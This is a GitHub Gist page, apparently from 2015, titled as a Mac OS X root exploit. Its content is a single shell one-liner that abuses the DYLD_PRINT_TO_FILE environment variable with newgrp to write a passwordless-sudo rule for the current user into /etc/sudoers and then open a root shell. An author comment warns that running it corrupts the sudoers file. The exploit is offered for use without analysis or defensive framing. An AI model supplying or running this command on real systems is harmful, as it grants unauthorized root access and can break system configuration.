Created
July 25, 2015 16:12
-
-
Save davidawad/872638c8d335e7c13054 to your computer and use it in GitHub Desktop.
Mac OSX exploit for root permissions
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Using this file on your own machine will corrupt your sudoers file!! be careful!